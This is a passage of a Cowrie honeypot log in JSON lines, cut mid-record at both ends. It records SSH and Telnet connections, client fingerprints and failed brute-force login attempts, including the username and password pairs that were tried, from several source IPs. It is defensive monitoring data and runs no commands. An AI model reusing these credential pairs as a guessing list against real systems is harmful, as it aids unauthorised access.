"ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:06.736206Z","src_ip":"125.16.27.190","session":"51795c072901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:06.963122Z","src_ip":"159.195.79.219","session":"7cd6b0620069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52102,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ac34c732ed","protocol":"telnet","message":"New connection: 74.91.213.120:52102 (159.203.135.109:23) [session: a1ac34c732ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:07.067774Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex321","message":"login attempt [root/alex321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:07.802181Z","src_ip":"125.16.27.190","session":"51795c072901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55098,"dst_ip":"159.203.135.109","dst_port":22,"session":"09936b36b155","protocol":"ssh","message":"New connection: 45.153.34.114:55098 (159.203.135.109:22) [session: 09936b36b155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:08.723751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:08.728045Z","src_ip":"45.153.34.114","session":"09936b36b155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:08.813743Z","src_ip":"45.153.34.114","session":"09936b36b155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:09.063526Z","src_ip":"125.16.27.190","session":"51795c072901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:09.069151Z","src_ip":"45.153.34.114","session":"09936b36b155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:10.198083Z","src_ip":"45.153.34.114","session":"09936b36b155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52112,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b2c213cf57","protocol":"telnet","message":"New connection: 74.91.213.120:52112 (159.203.135.109:23) [session: e4b2c213cf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:10.595486Z"}
{"eventid":"cowrie.session.closed","duration":30.77349591255188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:10.635656Z","src_ip":"74.91.213.120","session":"29d95ed59b4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139076471328735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:10.931675Z","src_ip":"74.91.213.120","session":"edf333f90fec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97830581665039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:12.214339Z","src_ip":"74.91.213.120","session":"1670d719e5c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":56778,"dst_ip":"10.17.0.5","dst_port":22,"session":"45bb78b8411b","protocol":"ssh","message":"New connection: 92.191.96.70:56778 (10.17.0.5:22) [session: 45bb78b8411b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:13.098448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:13.103459Z","src_ip":"92.191.96.70","session":"45bb78b8411b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:13.228470Z","src_ip":"92.191.96.70","session":"45bb78b8411b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:13.751558Z","src_ip":"92.191.96.70","session":"45bb78b8411b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:14.878748Z","src_ip":"92.191.96.70","session":"45bb78b8411b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52122,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ffef47a9d1","protocol":"telnet","message":"New connection: 74.91.213.120:52122 (159.203.135.109:23) [session: 53ffef47a9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:16.406617Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52418,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d01a31b352c","protocol":"ssh","message":"New connection: 45.153.34.114:52418 (159.203.135.109:22) [session: 8d01a31b352c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:16.552415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:16.562750Z","src_ip":"45.153.34.114","session":"8d01a31b352c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:16.644210Z","src_ip":"45.153.34.114","session":"8d01a31b352c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:17.001186Z","src_ip":"45.153.34.114","session":"8d01a31b352c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:18.168403Z","src_ip":"45.153.34.114","session":"8d01a31b352c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38064,"dst_ip":"159.203.135.109","dst_port":23,"session":"85648e846ce3","protocol":"telnet","message":"New connection: 74.91.213.120:38064 (159.203.135.109:23) [session: 85648e846ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:19.912535Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59884,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cad8d405b47","protocol":"ssh","message":"New connection: 45.153.34.114:59884 (159.203.135.109:22) [session: 5cad8d405b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:24.734875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:24.744938Z","src_ip":"45.153.34.114","session":"5cad8d405b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:24.834339Z","src_ip":"45.153.34.114","session":"5cad8d405b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:25.096278Z","src_ip":"45.153.34.114","session":"5cad8d405b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38068,"dst_ip":"159.203.135.109","dst_port":23,"session":"a088d3483136","protocol":"telnet","message":"New connection: 74.91.213.120:38068 (159.203.135.109:23) [session: a088d3483136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:25.424837Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:26.186078Z","src_ip":"45.153.34.114","session":"5cad8d405b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47254,"dst_ip":"159.203.135.109","dst_port":23,"session":"7557992a334d","protocol":"telnet","message":"New connection: 74.91.213.120:47254 (159.203.135.109:23) [session: 7557992a334d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:26.987253Z"}
{"eventid":"cowrie.session.closed","duration":31.155864477157593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:28.125422Z","src_ip":"74.91.213.120","session":"922426227aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":37145,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d7f1a834929","protocol":"ssh","message":"New connection: 175.107.32.186:37145 (10.17.0.5:22) [session: 2d7f1a834929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:32.207493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:32.212984Z","src_ip":"175.107.32.186","session":"2d7f1a834929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:32.435482Z","src_ip":"175.107.32.186","session":"2d7f1a834929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40924,"dst_ip":"159.203.135.109","dst_port":22,"session":"395f5c72a0d8","protocol":"ssh","message":"New connection: 45.153.34.114:40924 (159.203.135.109:22) [session: 395f5c72a0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:32.682628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:32.688191Z","src_ip":"45.153.34.114","session":"395f5c72a0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:32.772565Z","src_ip":"45.153.34.114","session":"395f5c72a0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:33.031264Z","src_ip":"45.153.34.114","session":"395f5c72a0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:33.355703Z","src_ip":"175.107.32.186","session":"2d7f1a834929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47262,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe1468a4b69d","protocol":"telnet","message":"New connection: 74.91.213.120:47262 (159.203.135.109:23) [session: fe1468a4b69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:33.701680Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:34.169685Z","src_ip":"45.153.34.114","session":"395f5c72a0d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:34.579970Z","src_ip":"175.107.32.186","session":"2d7f1a834929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47256,"dst_ip":"159.203.135.109","dst_port":23,"session":"de92b9b962cf","protocol":"telnet","message":"New connection: 74.91.213.120:47256 (159.203.135.109:23) [session: de92b9b962cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:35.722592Z"}
{"eventid":"cowrie.session.closed","duration":31.97350549697876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:39.041141Z","src_ip":"74.91.213.120","session":"a1ac34c732ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35678,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdce9dfdf3f9","protocol":"ssh","message":"New connection: 45.153.34.114:35678 (159.203.135.109:22) [session: fdce9dfdf3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:40.709866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:40.714748Z","src_ip":"45.153.34.114","session":"fdce9dfdf3f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-